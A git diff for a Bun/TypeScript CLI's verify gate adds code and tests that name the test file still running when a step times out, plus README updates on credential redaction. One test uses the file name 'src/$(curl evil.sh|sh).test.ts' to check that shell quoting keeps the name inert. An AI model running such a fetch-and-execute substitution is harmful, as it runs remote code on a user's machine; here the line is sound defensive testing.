String(pid)], { + stdout: 'pipe', + stderr: 'ignore', + }); + text = await new Response(ps.stdout).text(); + await ps.exited; + } catch { + text = ''; + } + } + const line = text.split('\0').join(' ').trim(); + return line.length > COMMAND_CHARS ? `${line.slice(0, COMMAND_CHARS)}…` : line; +} + /** * SIGKILL every process carrying `tag`, and sweep again until a pass finds none: a worker can fork * between the listing and its own death. Never this process — a nested gate carries the outer tag. + * Returns the processes it killed, each with the command line it was running. */ export async function killTagged( tag: string, /** The process table. Absent is this platform's: procfs where there is one, `ps` otherwise. */ list: () => Promise = async () => (await procfsProcesses()) ?? (await psProcesses()), -): Promise { - const killed = new Set(); + /** Kill only the processes whose command line this accepts. Absent kills every tagged one. */ + only?: (command: string) => boolean, +): Promise { + const killed = new Map(); + // Read once per pid and BEFORE the first signal: a worker exits on its own the moment its + // coordinator dies, and one read between two kills would find it already gone. + const commands = new Map(); for (let sweep = 0; sweep < SWEEPS; sweep += 1) { const processes = await list(); - const found = taggedPids(processes, tag).filter((pid) => pid !== process.pid); + const tagged = taggedPids(processes, tag).filter((pid) => pid !== process.pid); + for (const pid of tagged) { + if (!commands.has(pid)) commands.set(pid, await commandOf(pid)); + } + const found = + only === undefined ? tagged : tagged.filter((pid) => only(commands.get(pid) ?? '')); const fresh = found.filter((pid) => !killed.has(pid)); if (found.length === 0) break; for (const pid of found) { try { process.kill(pid, 'SIGKILL'); - killed.add(pid); + if (!killed.has(pid)) killed.set(pid, { pid, command: commands.get(pid) ?? '' }); } catch { // Already gone between the listing and the signal — which is the outcome wanted. } @@ -214,26 +312,9 @@ export async function killTagged( if (fresh.length === 0) break; await Bun.sleep(20); } - return killed.size; + return [...killed.values()]; } -/** - * A step that ran past its deadline, on that step's own line. `command` is the gate as it was - * invoked here (`x verify`, or `bun run verify` at the framework root), so the fix runs where the - * finding was raised. - */ -export const stepTimeoutFinding = ( - step: VerifyStepName, - ms: number, - killed: number, - command: string, -): Finding => ({ - code: 'X_VERIFY_STEP_TIMEOUT', - cause: `step "${step}" did not finish within its ${String(ms)} ms deadline, so it was stopped and ${String(killed)} process(es) it had started were killed`, - fix: `${command} --only ${step} --json # reproduce it alone; if it legitimately needs longer, edit x.verify.json — add "${STEP_TIMEOUT_FIELD}": { "${step}": }`, - docs: ERROR_DOCS_URL, -}); - /** `work`, or `{ timedOut: true }` once `ms` passes. The abandoned promise is never unhandled. */ export async function raceDeadline( work: Promise, diff --git a/packages/cli/src/verify-run-deadline.test.ts b/packages/cli/src/verify-run-deadline.test.ts index c43dafdd8..2bd68e6b9 100644 --- a/packages/cli/src/verify-run-deadline.test.ts +++ b/packages/cli/src/verify-run-deadline.test.ts @@ -75,6 +75,9 @@ describe('a step past its deadline', () => { expect(lint?.findings.map((finding) => finding.code)).toEqual(['X_VERIFY_STEP_TIMEOUT']); expect(lint?.findings[0]?.cause).toContain('step "lint" did not finish within its 400 ms'); expect(lint?.findings[0]?.cause).toMatch(/[2-9] process\(es\) it had started were killed/); + // The call the step was waiting on is named — registered when it started, so no race decides it. + expect(lint?.findings[0]?.cause).toEndWith('; it was waiting on: sh -c sleep 300 & sleep 300'); + expect(lint?.findings[0]?.meta?.['step']).toBe('lint'); expect(lint?.findings[0]?.fix).toStartWith('bun run verify --only lint --json'); expect(lint?.durationMs).toBeGreaterThanOrEqual(400); expect(lint?.durationMs).toBeLessThan(5_000); diff --git a/packages/cli/src/verify-run.ts b/packages/cli/src/verify-run.ts index 9bd4e2d4d..16d00107d 100644 --- a/packages/cli/src/verify-run.ts +++ b/packages/cli/src/verify-run.ts @@ -7,14 +7,22 @@ import type { CoverageMap } from './coverage-lcov'; import { encodeCoverage } from './coverage-lcov'; import { msg } from './messages'; import type { CommandResult, Finding, JsonValue, StepResult } from './output'; -import { guardStep, raceDeadline, stepTimeoutFinding, stepTimeoutMs } from './verify-deadline'; +import type { StepGuard } from './verify-deadline'; +import { guardStep, raceDeadline, stepTimeoutMs } from './verify-deadline'; import { floorRequires, readVerifyFloor, skippedSuiteFinding, vanishedSuiteFinding, } from './verify-floor'; -import type { CoverageNumbers, StepOutcome, VerifyContext, VerifyStep } from './verify-step'; +import { stalledOutput, stepTimeoutFinding } from './verify-stalled'; +import type { + CoverageNumbers, + StepOutcome, + VerifyContext, + VerifyStep, + VerifyStepName, +} from './verify-step'; import { GATE_COMMAND } from './verify-step'; /** @@ -243,10 +251,7 @@ async function runStep( limit, ); const outcome: StepOutcome = raced.timedOut - ? { - ok: false, - findings: [stepTimeoutFinding(step.name, limit, await guard.expire(), command)], - } + ? await expired(step.name, limit, guard, command) : raced.value; // A suite that executed nothing did not run, whatever its exit code says: `bun test` exits 0 // over an all-skipped file, so the counts are the only channel that can tell the two apart. @@ -282,6 +287,22 @@ async function runStep( }; } +/** The timed-out step's outcome: the finding naming what was in flight, over what it last printed. */ +async function expired( + step: VerifyStepName, + limit: number, + guard: StepGuard, + command: string, +): Promise { + const expiry = await guard.expire(); + const output = stalledOutput(expiry); + return { + ok: false, + findings: [stepTimeoutFinding(step, limit, expiry, command)], + ...(output === undefined ? {} : { output }), + }; +} + function findingOf(error: unknown, step: string, command: string): Finding { // A step may throw anything, including an Error that fights being read: `instanceof` runs a // Proxy's `getPrototypeOf` trap and `.message` runs a getter, so a hostile throw would take the diff --git a/packages/cli/src/verify-stalled.test.ts b/packages/cli/src/verify-stalled.test.ts new file mode 100644 index 000000000..d8530e4e2 --- /dev/null +++ b/packages/cli/src/verify-stalled.test.ts @@ -0,0 +1,363 @@ +// The timeout finding names what was in flight: the file bun says a killed worker was holding, +// read from what the stopped run printed, and a `fix:` that runs exactly that file. + +import { describe, expect, test } from 'bun:test'; +// why: Bun ships no temp-directory primitive; the fixture suite is real files in a real root. +import { mkdtemp, rm } from 'node:fs/promises'; +// why: Bun exposes no tmpdir(); only node:os answers the platform temp root. +import { tmpdir } from 'node:os'; +// why: Bun ships no path-join primitive. +import { join } from 'node:path'; +import { exec } from './exec'; +import type { StepExpiry } from './verify-deadline'; +import { guardStep } from './verify-deadline'; +import type { StepTimeoutMeta } from './verify-stalled'; +import { stalledOutput, stalledRun, stepTimeoutFinding } from './verify-stalled'; + +const FILES = [ + 'packages/a/src/a.test.ts', + 'packages/a/src/b.test.ts', + 'packages/a/src/c.test.tsx', + 'packages/a/src/d.test.ts', +]; + +const PARALLEL = [ + 'bun', + 'test', + '--parallel=3', + '--timings=/repo/.x/test-timings.json', + '--update-timings', + ...FILES, +]; + +const crash = (file: string): string => `✗ ${file} (worker crashed: SIGKILL)`; + +/** Bun's plain reporter: a header whenever a file's results are flushed — NOT when it finishes. */ +const printed = (...files: readonly string[]): string => + [ + 'bun test v1.4.0 (34cbb9a40) 3x PARALLEL', + ...files.flatMap((file) => ['', `${file}:`, '(pass) one [0.06ms]']), + ].join('\n'); + +/** + * VERBATIM from GitHub Actions — run 36979192593, job `gate (unit-1)`, `bun test --parallel=3` — + * with only the log's own timestamp column cut. Under `GITHUB_ACTIONS` bun wraps each flush in + * `::group::`/`::endgroup::`, and this file's header is printed after its FIRST test, while the + * rest of it is still running: a header says nothing about whether a file finished. + */ +const ACTIONS_EXCERPT = [ + '(pass) hive() refuses a width that is not a number > a declared zero keeps meaning what it meant, which is one worker [0.63ms]', + '(pass) hive() refuses a width that is not a number > an honest width still fans out — the non-vacuity half [0.61ms]', + '', + '::endgroup::', + '', + '::group::packages/cli/src/verify-run-deadline.test.ts:', + '(pass) a step past its deadline > fails by name, kills every process it started, and the steps after it still run [531.48ms]', + '', + '::endgroup::', + '', +].join('\n'); + +const ACTIONS_FILE = 'packages/cli/src/verify-run-deadline.test.ts'; + +const expiry = (over: Partial = {}): StepExpiry => ({ + killed: [ + { pid: 42, command: 'bun test --test-worker --isolate --timeout=5000' }, + { pid: 41, command: 'bun test --parallel=3 packages/a/src/a.test.ts …' }, + ], + inFlight: [], + ...over, +}); + +describe('stalledRun · a parallel run', () => { + test('the file a killed worker held is the one bun says crashed', () => { + const run = stalledRun({ + command: PARALLEL, + output: `${printed(...FILES)}\n${crash('packages/a/src/b.test.ts')}`, + }); + expect(run).toEqual({ + command: 'bun test --parallel=3 --update-timings', + files: 4, + workers: 3, + stuck: ['packages/a/src/b.test.ts'], + }); + }); + + test('GitHub Actions output, verbatim: the crash line inside its `::group::` names the file', () => { + const command = ['bun', 'test', '--parallel=3', 'packages/ai/src/hive.test.ts', ACTIONS_FILE]; + // As bun 1.4.0 prints a killed worker's file under GITHUB_ACTIONS (probed). + const output = `${ACTIONS_EXCERPT}\n::group::${ACTIONS_FILE}:\n${crash(ACTIONS_FILE)}\n\n::endgroup::\n`; + expect(stalledRun({ command, output })?.stuck).toEqual([ACTIONS_FILE]); + }); + + test('a header alone names nothing — a file stuck in its second test already has one', () => { + const command = ['bun', 'test', '--parallel=3', 'packages/ai/src/hive.test.ts', ACTIONS_FILE]; + expect(stalledRun({ command, output: ACTIONS_EXCERPT })?.stuck).toEqual([]); + expect(stalledRun({ command: PARALLEL, output: printed() })?.stuck).toEqual([]); + }); + + test('the gate’s own shape: hundreds of files over three workers, one hung late, names exactly one', () => { + const files = Array.from({ length: 300 }, (_, i) => `packages/p/src/f${String(i)}.test.ts`); + const hung = files[217] as string; + const output = [ + 'bun test v1.4.0 (34cbb9a40) 3x PARALLEL', + // Every file has flushed results — the hung one too, for the tests before the one it hung in. + ...files.flatMap((file) => [ + '', + `::group::${file}:`, + '(pass) one [0.06ms]', + '', + '::endgroup::', + ]), + '', + `::group::${hung}:`, + crash(hung), + '', + '::endgroup::', + ].join('\n'); + const run = stalledRun({ command: ['bun', 'test', '--parallel=3', ...files], output }); + expect(run?.files).toBe(300); + expect(run?.stuck).toEqual([hung]); + }); + + test('a failures-only reporter (CLAUDECODE, AGENT, REPL_ID) still prints the crash line', () => { + const output = `bun test v1.4.0 (34cbb9a40) 3x PARALLEL\n\ntla.test.ts:\n${crash('tla.test.ts')}\n`; + const run = stalledRun({ command: ['bun', 'test', '--parallel=3', './tla.test.ts'], output }); + // Named as it was handed in, so the fix reruns the same argument. + expect(run?.stuck).toEqual(['./tla.test.ts']); + }); + + test('three busy workers are three files, each named once', () => { + const [a = '', b = '', , d = ''] = FILES; + const output = [a, b, b, d].map(crash).join('\n'); + expect(stalledRun({ command: PARALLEL, output })?.stuck).toEqual([a, b, d]); + }); +}); + +describe('stalledRun · a serial run', () => { + test('prints a file when it STARTS, so the last one printed is the stuck one', () => { + const run = stalledRun({ + command: ['bun', 'test', '--timeout=60000', '.e2e.test.'], + output: `${printed('app/a.e2e.test.ts')}\n\napp/b.e2e.test.ts:\n(pass) loads [12ms]`, + }); + expect(run).toEqual({ + command: 'bun test --timeout=60000', + files: 0, + workers: 1, + stuck: ['app/b.e2e.test.ts'], + }); + }); + + test('the same under GitHub Actions’ `::group::` header', () => { + const run = stalledRun({ + command: ['bun', 'test', '.live.test.'], + output: + '::group::app/a.live.test.ts:\n(pass) one [1ms]\n\n::endgroup::\n\n::group::app/b.live.test.ts:', + }); + expect(run?.stuck).toEqual(['app/b.live.test.ts']); + }); + + test('whose last printed file failed names nothing — a failures-only reporter prints only those', () => { + const run = stalledRun({ + command: ['bun', 'test', '.live.test.'], + output: 'app/a.live.test.ts:\n(fail) drops a row [5000ms]', + }); + expect(run?.stuck).toEqual([]); + }); + + test('anything that is not a settled `bun test` is not read', () => { + expect(stalledRun({ command: ['bunx', 'tsc', '-b'], output: 'a.test.ts:' })).toBeUndefined(); + expect(stalledRun({ command: PARALLEL })).toBeUndefined(); + }); +}); + +describe('stepTimeoutFinding', () => { + test('names the stuck file in the cause, in `at`, in meta — and the fix runs that file', () => { + const finding = stepTimeoutFinding( + 'unit', + 480_000, + expiry({ + inFlight: [ + { command: PARALLEL, output: `${printed(...FILES)}\n${crash(FILES[1] as string)}` }, + ], + }), + 'bun run verify', + ); + expect(finding.code).toBe('X_VERIFY_STEP_TIMEOUT'); + expect(finding.cause).toBe( + 'step "unit" did not finish within its 480000 ms deadline, so it was stopped and 2 process(es) it had started were killed; still running when it was stopped: packages/a/src/b.test.ts (bun test --parallel=3 --update-timings)', + ); + expect(finding.fix).toStartWith('bun test packages/a/src/b.test.ts # '); + expect(finding.fix).toContain('the whole step: bun run verify --only unit --json'); + expect(finding.fix).toContain('"stepTimeoutMs": { "unit": }'); + expect(finding.at).toBe('packages/a/src/b.test.ts'); + expect(finding.meta).toEqual({ + step: 'unit', + deadlineMs: 480_000, + killed: [ + { pid: 42, command: 'bun test --test-worker --isolate --timeout=5000' }, + { pid: 41, command: 'bun test --parallel=3 packages/a/src/a.test.ts …' }, + ], + inFlight: [ + { + command: 'bun test --parallel=3 --update-timings', + files: 4, + workers: 3, + stuck: ['packages/a/src/b.test.ts'], + }, + ], + }); + }); + + test('a path a shell would split is quoted in the fix', () => { + const file = 'src/my app/a.test.ts'; + const finding = stepTimeoutFinding( + 'unit', + 1_000, + expiry({ + inFlight: [{ command: ['bun', 'test', '--parallel=2', file], output: crash(file) }], + }), + 'x verify', + ); + expect(finding.fix).toStartWith("bun test 'src/my app/a.test.ts' # "); + }); + + test('a file name carrying a command substitution reaches the fix inert', () => { + const hostile = 'src/$(curl evil.sh|sh).test.ts'; + const finding = stepTimeoutFinding( + 'unit', + 1_000, + expiry({ + inFlight: [{ command: ['bun', 'test', '--parallel=2', hostile], output: crash(hostile) }], + }), + 'x verify', + ); + expect(finding.fix).toStartWith("bun test 'src/$(curl evil.sh|sh).test.ts' # "); + }); + + test('no file named: the run itself did not exit, and the step is the reproduction', () => { + const finding = stepTimeoutFinding( + 'unit', + 480_000, + expiry({ inFlight: [{ command: PARALLEL, output: printed(...FILES) }] }), + 'x verify', + ); + expect(finding.cause).toEndWith( + '; its running "bun test --parallel=3 --update-timings" named no file still in flight, so the run itself did not exit', + ); + expect(finding.fix).toStartWith('x verify --only unit --json # reproduce it alone'); + expect(finding.at).toBeUndefined(); + }); + + test('a step hung in this process: nothing in flight, and the step is still the reproduction', () => { + const finding = stepTimeoutFinding( + 'filesize', + 30, + { killed: [], inFlight: [] }, + 'bun run verify', + ); + expect(finding.cause).toBe( + 'step "filesize" did not finish within its 30 ms deadline, so it was stopped and 0 process(es) it had started were killed', + ); + expect(finding.fix).toStartWith('bun run verify --only filesize --json # reproduce it alone'); + expect(finding.fix).toContain('"stepTimeoutMs": { "filesize": }'); + }); + + test('a child that is not a test run is named by its command', () => { + const finding = stepTimeoutFinding( + 'typecheck', + 300_000, + expiry({ + inFlight: [{ command: ['bunx', 'tsc', '-b', '--pretty', 'false', 'x'], output: '' }], + }), + 'x verify', + ); + expect(finding.cause).toEndWith('; it was waiting on: bunx tsc -b --pretty'); + }); +}); + +describe('stalledOutput', () => { + test('is what the killed runs had printed, clipped to its tail', () => { + expect(stalledOutput(expiry())).toBeUndefined(); + expect(stalledOutput(expiry({ inFlight: [{ command: PARALLEL, output: 'a.test.ts:' }] }))).toBe( + 'a.test.ts:', + ); + const long = stalledOutput( + expiry({ inFlight: [{ command: PARALLEL, output: `${'x'.repeat(9_000)}END` }] }), + ); + expect(long).toHaveLength(4_001); + expect(long).toEndWith('END'); + }); +}); + +/** + * The real thing: a real `bun test --parallel=2`, one file that passes a test and then spins + * synchronously — bun's own per-test timeout never fires, and the file already has a header. No + * wall-clock deadline decides anything: the guard is expired only once the stuck test has SAID it + * is running, however long a starved runner takes to get there. + */ +describe('against a real bun test', () => { + const REPORTERS: readonly (readonly [string, Record])[] = [ + [ + 'plain', + { CLAUDECODE: undefined, AGENT: undefined, REPL_ID: undefined, GITHUB_ACTIONS: undefined }, + ], + [ + 'GitHub Actions', + { + CLAUDECODE: undefined, + AGENT: undefined, + REPL_ID: undefined, + CI: 'true', + GITHUB_ACTIONS: 'true', + }, + ], + ['failures-only', { CLAUDECODE: '1', GITHUB_ACTIONS: undefined }], + ]; + + for (const [reporter, env] of REPORTERS) { + test(`${reporter} reporter: the stuck file is named`, async () => { + const root = await mkdtemp(join(tmpdir(), 'ultimate-verify-stuck-')); + try { + const passing = + "import { expect, test } from 'bun:test';\ntest('ok', () => expect(1).toBe(1));\n"; + for (const name of ['a', 'b', 'c']) await Bun.write(join(root, `${name}.test.ts`), passing); + const marker = join(root, 'spinning'); + await Bun.write( + join(root, 'stuck.test.ts'), + [ + "import { writeFileSync } from 'node:fs';", + "import { expect, test } from 'bun:test';", + "test('passes first', () => expect(1).toBe(1));", + "test('then spins', () => {", + ` writeFileSync(${JSON.stringify(marker)}, '');`, + ' for (;;) {}', + '});', + '', + ].join('\n'), + ); + const guard = guardStep(exec, `stuck@${crypto.randomUUID()}`, {}); + const files = ['a.test.ts', 'b.test.ts', 'c.test.ts', 'stuck.test.ts']; + const running = guard.runner(['bun', 'test', '--parallel=2', ...files], { cwd: root, env }); + for (let i = 0; i < 2_400 && !(await Bun.file(marker).exists()); i += 1) + await Bun.sleep(25); + expect(await Bun.file(marker).exists()).toBe(true); + const finding = stepTimeoutFinding('unit', 480_000, await guard.expire(), 'bun run verify'); + await running; + // The other worker may truthfully still hold a quick file at that instant, so the contract + // is: the stuck file is named, and nothing is named that a worker could not have held. + const [run] = (finding.meta as StepTimeoutMeta).inFlight; + expect(run?.stuck).toContain('stuck.test.ts'); + expect(run?.stuck.length).toBeLessThanOrEqual(2); + expect(files).toEqual(expect.arrayContaining([...(run?.stuck ?? [])])); + expect(finding.cause).toContain('still running when it was stopped: '); + expect(finding.fix).toMatch(/^bun test (\S+ )?stuck\.test\.ts( \S+)? {3}# /); + expect(run).toMatchObject({ command: 'bun test --parallel=2', files: 4, workers: 2 }); + // The worker that held the file, killed first so the coordinator could say which it was. + expect(JSON.stringify(finding.meta?.['killed'])).toContain('--test-worker'); + } finally { + await rm(root, { recursive: true, force: true }); + } + }, 90_000); + } +}); diff --git a/packages/cli/src/verify-stalled.ts b/packages/cli/src/verify-stalled.ts new file mode 100644 index 000000000..043e04bfa --- /dev/null +++ b/packages/cli/src/verify-stalled.ts @@ -0,0 +1,152 @@ +// What a step was doing when its deadline passed, as the `X_VERIFY_STEP_TIMEOUT` finding. A hung +// test file used to cost eight minutes and report "2 process(es) were killed" — nothing a reader +// could run. The finding now names the file bun says a killed worker held, and its `fix:` runs it. + +import { ERROR_DOCS_URL } from '@ultimat3/core'; +import type { Finding } from './output'; +import { quoteArg } from './shell-quote'; +import type { InFlightRun, StepExpiry } from './verify-deadline'; +import { STEP_TIMEOUT_FIELD } from './verify-deadline'; +import type { VerifyStepName } from './verify-step'; + +/** + * One `bun test` the step was waiting on, read against what it printed as it was stopped. A `type`, + * like the meta that carries it: an interface is not assignable to `Finding.meta`'s JSON record. + */ +export type StalledRun = { + /** The argv without its file list: `bun test --parallel=3`. */ + readonly command: string; + /** Files the run was handed; 0 for a serial run, which selects by filter. */ + readonly files: number; + /** `--parallel`'s width, and 1 for a serial run. */ + readonly workers: number; + /** The files that were still running, as bun named them. Empty when it named none. */ + readonly stuck: readonly string[]; +}; + +/** `X_VERIFY_STEP_TIMEOUT`'s `meta`. A `type`: an interface is not assignable to `Finding.meta`. */ +export type StepTimeoutMeta = { + readonly step: string; + readonly deadlineMs: number; + readonly killed: readonly { readonly pid: number; readonly command: string }[]; + readonly inFlight: readonly StalledRun[]; +}; + +/** + * What a `--parallel` coordinator prints for the file a killed worker was holding. The guard kills + * the workers first for exactly this line (`verify-deadline.ts`); it is bun's own statement of + * what was in flight, and it is printed in every reporter mode. + */ +const CRASHED = /^\s*✗ (.+) \(worker crashed: SIG[A-Z0-9]+\)$/; + +/** Bun's per-file header — `::group::`-prefixed on GitHub Actions. A serial run prints it at START. */ +const FILE_LINE = /^(?:::group::)?(\S.*\.test\.[cm]?[jt]sx?):$/; + +const PARALLEL = '--parallel='; + +const bare = (path: string): string => (path.startsWith('./') ? path.slice(2) : path); + +/** + * A parallel run names its stuck files itself, one crash line per killed worker. A serial run has + * no worker to kill: it prints a file's header when the file STARTS, so the stuck file is the last + * one printed — unless a `(fail)` follows it, which is also all a failures-only reporter ever + * prints, and then nothing is claimed. + */ +export function stalledRun(run: InFlightRun): StalledRun | undefined { + const [program, verb, ...rest] = run.command; + if (program !== 'bun' || verb !== 'test' || run.output === undefined) return undefined; + const lines = run.output.split('\n').map((line) => line.trimEnd()); + const width = rest.find((arg) => arg.startsWith(PARALLEL)); + const flags = rest.filter((arg) => arg.startsWith('--') && !arg.startsWith('--timings')); + const command = ['bun', 'test', ...flags].join(' '); + if (width === undefined) { + const last = lines.findLastIndex((line) => FILE_LINE.test(line)); + const started = last < 0 ? undefined : FILE_LINE.exec(lines[last] ?? '')?.[1]; + const failed = lines.slice(last + 1).some((line) => line.startsWith('(fail)')); + return { + command, + files: 0, + workers: 1, + stuck: started === undefined || failed ? [] : [started], + }; + } + const files = rest.filter((arg) => !arg.startsWith('--')); + const crashed = lines.flatMap((line) => { + const path = CRASHED.exec(line)?.[1]; + // As the caller handed it in, so the `fix:` reruns the very argument the run was given. + return path === undefined ? [] : [files.find((file) => bare(file) === bare(path)) ?? path]; + }); + return { + command, + files: files.length, + workers: Math.max(1, Number(width.slice(PARALLEL.length)) || 1), + stuck: [...new Set(crashed)], + }; +} + +/** How many paths a `cause:` spells out — the rest are in `meta`. */ +const NAMED_IN_CAUSE = 5; + +const OUTPUT_TAIL_CHARS = 4_000; + +/** The last thing each killed run printed: what a reader of a red step looks at first. */ +export function stalledOutput(expiry: StepExpiry): string | undefined { + const text = expiry.inFlight + .flatMap((run) => (run.output === undefined || run.output === '' ? [] : [run.output])) + .join('\n'); + if (text === '') return undefined; + return text.length > OUTPUT_TAIL_CHARS ? `…${text.slice(-OUTPUT_TAIL_CHARS)}` : text; +} + +const inFlightClause = (runs: readonly StalledRun[], expiry: StepExpiry): string => { + const files = runs.flatMap((run) => run.stuck); + const named = runs.find((run) => run.stuck.length > 0); + if (named !== undefined) { + const shown = files.slice(0, NAMED_IN_CAUSE).join(', '); + const more = files.length > NAMED_IN_CAUSE ? `, +${String(files.length - NAMED_IN_CAUSE)}` : ''; + return `; still running when it was stopped: ${shown}${more} (${named.command})`; + } + const waiting = expiry.inFlight[0]; + if (waiting === undefined) return ''; + return runs[0] === undefined + ? `; it was waiting on: ${waiting.command.slice(0, 4).join(' ')}` + : `; its running "${runs[0].command}" named no file still in flight, so the run itself did not exit`; +}; + +/** + * A step that ran past its deadline, on that step's own line. `command` is the gate as it was + * invoked here (`x verify`, or `bun run verify` at the framework root), so the fix runs where the + * finding was raised. With a stuck file named, the fix runs THAT file; the step's own rerun and + * the `stepTimeoutMs` edit ride behind it. + */ +export const stepTimeoutFinding = ( + step: VerifyStepName, + ms: number, + expiry: StepExpiry, + command: string, +): Finding => { + const runs = expiry.inFlight.flatMap((run) => stalledRun(run) ?? []); + const stuck = runs.flatMap((run) => run.stuck); + const rerun = `${command} --only ${step} --json`; + const longer = `if it legitimately needs longer, edit x.verify.json — add "${STEP_TIMEOUT_FIELD}": { "${step}": }`; + // Each path through `quoteArg`, one argv word apiece: a test file's name is data from the disk, + // and this line is pasted into a shell. + const alone = ['bun', 'test', ...stuck.map(quoteArg)].join(' '); + const meta: StepTimeoutMeta = { + step, + deadlineMs: ms, + killed: expiry.killed.map((one) => ({ pid: one.pid, command: one.command })), + inFlight: runs, + }; + return { + code: 'X_VERIFY_STEP_TIMEOUT', + cause: `step "${step}" did not finish within its ${String(ms)} ms deadline, so it was stopped and ${String(expiry.killed.length)} process(es) it had started were killed${inFlightClause(runs, expiry)}`, + fix: + stuck.length > 0 + ? `${alone} # what had not finished, alone; the whole step: ${rerun}; ${longer}` + : `${rerun} # reproduce it alone; ${longer}`, + docs: ERROR_DOCS_URL, + ...(stuck[0] === undefined ? {} : { at: stuck[0] }), + meta, + }; +}; diff --git a/packages/core/CLAUDE.md b/packages/core/CLAUDE.md index a2e041d61..e6d2046f1 100644 --- a/packages/core/CLAUDE.md +++ b/packages/core/CLAUDE.md @@ -79,6 +79,8 @@ top-level `UltimateError` use in `error-codes.ts`. | which row survives a conflict | `conflict-policy.ts` (`ConflictPolicy`, `resolveConflict`, `Row`) | read by `action`'s mutator and `realtime`'s rebase | | the four shapes of an async region | `async-state.ts` (`AsyncState`) | `realtime` returns it, `ui` renders it. `bun run render-modes` refuses a second status union sharing three members | | is this `unknown` a keyed record? | `json-object.ts` (`isJsonObject`) | narrows a shape; does not certify provenance | +| may a caller read this 5xx `cause`? | `public-cause.ts` (`hasPublicCause`) | one table for http, mcp, ai. `registerPublicCause` is `@ultimat3/http`'s `registerProblemMeta` writing it — never an app's door | +| is this field a credential? | `logger.ts` (`isRedactedKey`) | exact keys + `CREDENTIAL_NAME`; a bare `token` suffix is NOT one (`idempotencyToken`, `maxTokens`). Log line, monitor envelope and `action`'s audit ask it | | a value that must not be printed | `secret.ts` | redacted by VALUE; `revealSecret()` is the one, greppable, way out | | an `Intl` formatter cache, and the screen in front of it | `intl-cache.ts` (`cachedFormatter`, `canonicalLocale`, `assertLocale`, `MAX_CACHED_FORMATTERS`, `MAX_LOCALE_EXCERPT`) | a locale arrives from a header: refuse a non-tag (`X_LOCALE_INVALID`), key canonically AND bound the cache — never a copy of any of the three. The cause quotes at most `MAX_LOCALE_EXCERPT` (35) code points; the whole tag rides in `meta.locale` | | the text direction of a locale | `locale-direction.ts` (`directionOf`, `isRtl`, `Direction`) | re-exported by `@ultimat3/i18n`; lives here so `@ultimat3/ui` need not reach the i18n barrel | diff --git a/packages/core/README.md b/packages/core/README.md index 017472e32..8b71ee20b 100644 --- a/packages/core/README.md +++ b/packages/core/README.md @@ -40,6 +40,8 @@ Zero dependencies, zero `@ultimat3/*` imports. | the key ring those work under: the current key plus retired ones | `seal-keys.ts` | | `defineConfig()` for `app.config.ts` | `config.ts` | | how overlays layer onto it — per section, key by key | `config-merge.ts` | +| what each key is when no layer says | `config-defaults.ts` | +| the shape screens that run before any rule reads a value — section, list, boolean, closed set, path, locale list | `config-shape.ts` | | the `pwa` block — what an install needs, and the boot refusal when it is not there | `config-pwa.ts` | | the closed route vocabulary every renderer names | `route-vocabulary.ts` | | runtime roles + `ROLE` resolution | `roles.ts` | @@ -51,6 +53,7 @@ Zero dependencies, zero `@ultimat3/*` imports. | OTLP/HTTP JSON: endpoint, headers, value encoding | `otlp.ts` | | `SpanExporter` on the wire, batched | `otlp-span-exporter.ts` | | `MetricExporter` on the wire | `otlp-metric-exporter.ts` | +| may a caller read this 5xx code's `cause`? `hasPublicCause(code)` — one predicate for the HTTP problem document, MCP error data and an agent `tool_result` | `public-cause.ts` | | `reportError` + the `ErrorReporter` seam, no-op by default | `error-reporter.ts` | | that seam on the wire, Sentry's envelope and DSN | `error-reporter-sentry.ts` | | OTel-shaped counter / gauge / histogram, same seam | `metrics.ts` | @@ -320,7 +323,21 @@ logger.info('boot', { dsn }); // {"dsn":"[redacted]"} connect(revealSecret(dsn)); // the one greppable way out ``` -`redactKeys()` catches a secret travelling under a name someone remembered to list. A `Secret` +`isRedactedKey(key)` is the one answer to "is this field a credential?" — the log line, the error +monitor's envelope and `@ultimat3/action`'s audit row all ask it. It matches the exact names +`redactKeys()` holds (`defineEnv` adds every `secret: true` variable) **and** a credential-bearing +name it was never told about: `password` / `passphrase` anywhere, `secret` as the last word, any +`…token` that is not a dedupe or paging key (`resetToken`, `githubToken`, `NPM_TOKEN`), key +material by its qualifier (`signingKey`, `masterKey`, `accessKeyId`), a value that embeds a +credential (`connectionString`, `dsn`, `databaseUrl`), the one-time codes +(`totpCode`, `recoveryCode`) and a stored hash of any of them (`passwordHash`, `tokenHash`, +`keyHash`). It deliberately leaves `idempotencyToken`, a paging token, `maxTokens` and an error +`code` readable — a redacted field is one an operator cannot correlate on. + +`LOG_LEVEL` is refused when it is not one of `LOG_LEVELS` (lowercase), exactly as +`createLogger({ level })` refuses it; unset or empty is `info`. + +A `Secret` box catches the other case: `String()`, template literals, `+`, `JSON.stringify`, `console.log`, the logger and an error's `meta` all render `[redacted]`, whatever key it sits under. It is frozen and everything but `label` is non-enumerable, so `{ ...dsn }` cannot spread the value back @@ -554,7 +571,7 @@ never a silently wrong page. | | | |---|---| | Signature | truncated HMAC-SHA256, compared in constant time | -| Secret | `configureCursorSigning()` at boot, else `ULTIMATE_CURSOR_SECRET`. **Read when a cursor is signed, never at import** — an app whose `openSecrets()` sets the variable during boot would otherwise sign every cursor with the dev key. Rotating it invalidates every open cursor | +| Secret | `configureCursorSigning()` at boot, else `ULTIMATE_CURSOR_SECRET`. An EMPTY value is unset — never an empty HMAC key — so `usesDevCursorSecret()` reports it and the boot refuses it outside a local environment. **Read when a cursor is signed, never at import** — an app whose `openSecrets()` sets the variable during boot would otherwise sign every cursor with the dev key. Rotating it invalidates every open cursor | | Also keys | `keyedFingerprint(value, purpose)` — `h1::` over `canonicalJson`, under a per-purpose key derived from this secret; the fingerprint to PERSIST (`@ultimat3/action`'s idempotency `requestHash`). `compareFingerprint` answers `match` / `mismatch` / `unverifiable` (other key), and still checks a legacy bare `fingerprint()` exactly. Rotating the secret makes in-window stored fingerprints `unverifiable` | | Signed, not encrypted | the client already has these rows; what it must not do is *invent* a position | | `usesDevCursorSecret()` | true while the shipped dev key is in use | @@ -649,7 +666,7 @@ nothing consulted it before deciding to try again. `As of 2026-08-23`. |---|---|---| | `backoffDelay({ attempt, base, max, factor?, curve?, jitter?, random? })` | one curve — `exponential \| linear \| fixed`, `full \| equal \| none` — 1-based `attempt`, clamped to `max` **before** jitter, rounded, and `0` rather than `NaN` | how long to wait. `random` is injectable, so a schedule is a unit test rather than a range | | `createSingleFlight({ deadlineMs?, schedule? })` → `run(key, work, join?)`, `size` | N callers on one key are ONE run | who pays for a miss. Eviction is identity-checked, so a load that settles late never drops the load that replaced it; `deadlineMs` frees the KEY a wedged load would hold forever — it 